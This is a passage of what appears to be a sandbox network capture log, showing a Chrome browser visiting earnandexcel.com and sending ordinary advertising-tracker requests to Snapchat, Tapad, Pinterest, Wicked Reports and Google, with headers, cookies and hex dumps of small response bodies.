2024-04-11 21:26:51 UTC	831	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0eac2a3b42da-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Vary: Accept-Encoding accept-ch: Sec-CH-UA-Mobile ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 x-nitro-beacon: FORWARD Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rgHdV%2FtCiVk6FvAKrnhG9zCRk8xbDrl2VMHloTn0NVafCjhszD%2Fm8DWkOCdUk32wjgYltzEkNp9%2FBlc2HehF9%2BHq0X7xsIaklsaq0rJXKCWwnildSOBE6NZ4NAii2B7fEjw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:51 UTC	20	IN	Data Raw: 66 0d 0a 43 61 63 68 65 20 72 65 71 75 65 73 74 65 64 0d 0a Data Ascii: fCache requested
2024-04-11 21:26:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.17	49959	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1198	OUT	GET /p?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&ev=PAGE_VIEW&intg=gtm&pids=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_c1=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&bt=1d53c387&d_a=x86&d_bvs=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&d_os=10.0.0&d_ot=Windows&df=true&huah=true&m_dcl=13578&m_fcps=5160&m_pi=13572&m_pl=0&m_pv=2&m_rd=14944&m_sh=1024&m_sl=0&m_sw=1280&pl=https%3A%2F%2Fearnandexcel.com%2F&trackId=3108c4b7-ae37-4861-a285-5aab2c2d3c38&ts=1712870808159&v=3.14.1-2404091850 HTTP/1.1 Host: tr.snapchat.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sc_at=v2\|H4sIAAAAAAAAAAXBiQ0AMAQAwIkkKMU4nnQKw/fuVkmLKJTOARluCLoOcbiS01qf7ZIRu6FjLH7ZwecNMgAAAA==
2024-04-11 21:26:51 UTC	526	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:26:51 GMT access-control-allow-origin: * cache-control: no-cache, no-transform content-type: image/png strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 68 x-envoy-upstream-service-time: 1 server: API Gateway alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:51 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 0b 49 44 41 54 78 da 63 60 00 02 00 00 05 00 01 e9 fa dc d8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxc`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.17	49961	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	825	OUT	GET /idsync/ex/push?partner_id=2884&partner_url=https%3A%2F%2Ftr.snapchat.com%2Fcm%2Fp%3Frand%3D1712630663074%26pnid%3D140%26pcid%3D%24%7BTA_DEVICE_ID%7D HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://tr.snapchat.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	1147	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:26:51 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1712870811726;Expires=Mon, 10 Jun 2024 21:26:51 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0;Expires=Mon, 10 Jun 2024 21:26:51 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://pixel.tapad.com/idsync/ex/push/check?partner_id=2884&partner_url=https%3A%2F%2Ftr.snapchat.com%2Fcm%2Fp%3Frand%3D1712630663074%26pnid%3D140%26pcid%3D%24%7BTA_DEVICE_ID%7D Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.17	49963	151.101.64.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	634	OUT	GET /user/?tid=2614453997099&pd=%7B%22np%22%3A%22gtm%22%7D&cb=1712870810186&dep=2%2CPAGE_LOAD HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	685	IN	HTTP/1.1 200 OK Connection: close Content-Length: 327 access-control-expose-headers: Epik,Pin-Unauth pin-unauth: dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT access-control-allow-origin: https://earnandexcel.com access-control-allow-credentials: true content-type: application/json; charset=utf-8 x-envoy-upstream-service-time: 0 referrer-policy: origin x-pinterest-rid: 4405108653145485 Date: Thu, 11 Apr 2024 21:26:51 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: ac3b543087eea8bca8514cd590925156836e98c1
2024-04-11 21:26:51 UTC	327	IN	Data Raw: 7b 22 61 65 6d 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 46 6e 4c 6e 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 50 68 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 47 65 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 44 62 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 4c 6f 63 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 45 78 74 65 72 6e 61 6c 49 64 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 45 70 69 6b 49 66 72 61 6d 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 63 68 72 6f 6d 65 4e 65 77 55 73 65 72 41 67 65 6e 74 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 69 73 45 75 22 3a 66 61 6c 73 65 2c 22 69 73 55 74 69 6c 69 7a 69 6e 67 41 64 76 65 72 74 69 73 65 72 31 70 45 Data Ascii: {"aemEnabled":false,"aemFnLnEnabled":false,"aemPhEnabled":false,"aemGeEnabled":false,"aemDbEnabled":false,"aemLocEnabled":false,"aemExternalIdEnabled":false,"ctEpikIframeEnabled":true,"chromeNewUserAgentEnabled":true,"isEu":false,"isUtilizingAdvertiser1pE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.17	49962	151.101.64.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1289	OUT	GET /v3/?tid=2614453997099&pd=%7B%22np%22%3A%22gtm%22%7D&event=init&ad=%7B%22loc%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%22%2C%22ref%22%3A%22%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%224701fd00%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.149%22%2C%22ecm_enabled%22%3Atrue%7D&cb=1712870810187 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	657	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: https://earnandexcel.com access-control-allow-credentials: true set-cookie: ar_debug=1; Expires=Fri, 11 Apr 2025 21:26:51 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None x-envoy-upstream-service-time: 1 referrer-policy: origin x-pinterest-rid: 1151400244931149 Date: Thu, 11 Apr 2024 21:26:51 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: aed6e22040f8c87d02c242b2ce1a155ff8d4fc7c
2024-04-11 21:26:51 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.17	49964	107.21.11.116	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	920	OUT	GET /index.php?WickedClientID=3819&WickedEmail=&WickedTrackingDate=1712870810295&WickedURL=https%3A%2F%2Fearnandexcel.com%2F&WickedReferrerURL=&WickedNullURL=https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%20traffic&WickedNullReferrerURL= HTTP/1.1 Host: track.wickedreports.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	342	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx X-Powered-By: PHP/8.1.26 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT Access-Control-Max-Age: 1000 Access-Control-Allow-Headers: *
2024-04-11 21:26:51 UTC	124	IN	Data Raw: 37 36 0d 0a 7b 22 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 22 3a 22 34 39 36 34 38 37 35 32 33 39 32 39 38 38 32 33 34 37 31 32 35 30 30 31 32 31 37 34 31 31 37 31 34 32 32 37 35 33 39 35 31 30 33 37 31 33 39 35 30 30 31 33 38 39 37 38 22 2c 22 53 68 61 72 64 49 64 22 3a 22 73 68 61 72 64 49 64 2d 30 30 30 30 30 30 30 30 30 30 33 30 22 7d 20 54 72 61 63 6b 65 64 0d 0a Data Ascii: 76{"SequenceNumber":"49648752392988234712500121741171422753951037139500138978","ShardId":"shardId-000000000030"} Tracked
2024-04-11 21:26:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.17	49965	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	911	OUT	GET /idsync/ex/push/check?partner_id=2884&partner_url=https%3A%2F%2Ftr.snapchat.com%2Fcm%2Fp%3Frand%3D1712630663074%26pnid%3D140%26pcid%3D%24%7BTA_DEVICE_ID%7D HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://tr.snapchat.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0
2024-04-11 21:26:52 UTC	1182	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:26:52 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1712870811726;Expires=Mon, 10 Jun 2024 21:26:52 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0;Expires=Mon, 10 Jun 2024 21:26:52 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Mon, 10 Jun 2024 21:26:52 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://tr.snapchat.com/cm/p?rand=1712630663074&pnid=140&pcid=f873d799-987f-45f5-8689-9e999756dca0 Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.17	49970	151.101.192.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	428	OUT	GET /user/?tid=2614453997099&pd=%7B%22np%22%3A%22gtm%22%7D&cb=1712870810186&dep=2%2CPAGE_LOAD HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:52 UTC	622	IN	HTTP/1.1 200 OK Connection: close Content-Length: 327 access-control-expose-headers: Epik,Pin-Unauth pin-unauth: dWlkPU56RTBNemhoWlRndE9UZG1NUzAwTm1NekxUazRaVFF0TnpabE1ETmtPRFUwTVRabQ cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT access-control-allow-origin: * content-type: application/json; charset=utf-8 x-envoy-upstream-service-time: 5 referrer-policy: origin x-pinterest-rid: 1374762958648990 Date: Thu, 11 Apr 2024 21:26:52 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: aed6e22040f8c87d02c242b2ce1a155ff8d4fc7c
2024-04-11 21:26:52 UTC	327	IN	Data Raw: 7b 22 61 65 6d 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 46 6e 4c 6e 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 50 68 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 47 65 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 44 62 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 4c 6f 63 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 61 65 6d 45 78 74 65 72 6e 61 6c 49 64 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 45 70 69 6b 49 66 72 61 6d 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 63 68 72 6f 6d 65 4e 65 77 55 73 65 72 41 67 65 6e 74 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 69 73 45 75 22 3a 66 61 6c 73 65 2c 22 69 73 55 74 69 6c 69 7a 69 6e 67 41 64 76 65 72 74 69 73 65 72 31 70 45 Data Ascii: {"aemEnabled":false,"aemFnLnEnabled":false,"aemPhEnabled":false,"aemGeEnabled":false,"aemDbEnabled":false,"aemLocEnabled":false,"aemExternalIdEnabled":false,"ctEpikIframeEnabled":true,"chromeNewUserAgentEnabled":true,"isEu":false,"isUtilizingAdvertiser1pE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.17	49969	151.101.192.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	1103	OUT	GET /v3/?tid=2614453997099&pd=%7B%22np%22%3A%22gtm%22%7D&event=init&ad=%7B%22loc%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%22%2C%22ref%22%3A%22%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%224701fd00%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.149%22%2C%22ecm_enabled%22%3Atrue%7D&cb=1712870810187 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1
2024-04-11 21:26:52 UTC	594	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Fri, 11 Apr 2025 21:26:52 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None x-envoy-upstream-service-time: 1 referrer-policy: origin x-pinterest-rid: 4947131925367518 Date: Thu, 11 Apr 2024 21:26:52 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: aed6e22040f8c87d02c242b2ce1a155ff8d4fc7c
2024-04-11 21:26:52 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.17	49971	107.21.11.116	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	688	OUT	GET /index.php?WickedClientID=3819&WickedEmail=&WickedTrackingDate=1712870810295&WickedURL=https%3A%2F%2Fearnandexcel.com%2F&WickedReferrerURL=&WickedNullURL=https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%20traffic&WickedNullReferrerURL= HTTP/1.1 Host: track.wickedreports.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:52 UTC	342	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx X-Powered-By: PHP/8.1.26 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS, DELETE, PUT Access-Control-Max-Age: 1000 Access-Control-Allow-Headers: *
2024-04-11 21:26:52 UTC	124	IN	Data Raw: 37 36 0d 0a 7b 22 53 65 71 75 65 6e 63 65 4e 75 6d 62 65 72 22 3a 22 34 39 36 34 38 37 35 32 33 39 32 39 38 38 32 33 34 37 31 32 35 30 30 31 32 31 37 34 31 34 35 34 33 31 31 33 39 35 37 34 30 38 36 30 34 33 35 31 30 30 38 36 30 38 39 38 22 2c 22 53 68 61 72 64 49 64 22 3a 22 73 68 61 72 64 49 64 2d 30 30 30 30 30 30 30 30 30 30 33 30 22 7d 20 54 72 61 63 6b 65 64 0d 0a Data Ascii: 76{"SequenceNumber":"49648752392988234712500121741454311395740860435100860898","ShardId":"shardId-000000000030"} Tracked
2024-04-11 21:26:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.17	49972	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	866	OUT	GET /cm/p?rand=1712630663074&pnid=140&pcid=f873d799-987f-45f5-8689-9e999756dca0 HTTP/1.1 Host: tr.snapchat.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://tr.snapchat.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sc_at=v2\|H4sIAAAAAAAAAE3GwRHAIAgEwIqY4fAQTDeCkyosPt/sa2cVm3QpP0N4rGVhpqxhtW1H+xsX1AcBy9AE7q/6AYb17SZAAAAA
2024-04-11 21:26:52 UTC	688	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:26:52 GMT access-control-allow-origin: * cache-control: no-cache, no-transform set-cookie: sc_at=v2\|H4sIAAAAAAAAAE3GwRHAIAgEwIqY4U4QTDeCkyosPt/sa2eVtZlL+Rlihy0LM2UN1uaO9jcuTB8EmKEJ3l/1AwRuylhAAAAA;SameSite=None;Version=1;Comment=;Domain=.snapchat.com;Path=/;Max-Age=33696000;Secure content-type: text/html strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 0 x-envoy-upstream-service-time: 3 server: API Gateway alt-svc: clear Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.17	49973	142.251.40.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	1045	OUT	GET /pagead/1p-user-list/416707819/?random=1712870809382&cv=11&fst=1712869200000&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&fmt=3&is_vtc=1&cid=CAQSGwB7FLtqQVhWucT7_G9YvV2zanSzmAmUZ93F7w&random=1285676519&rmt_tld=0&ipr=y HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: 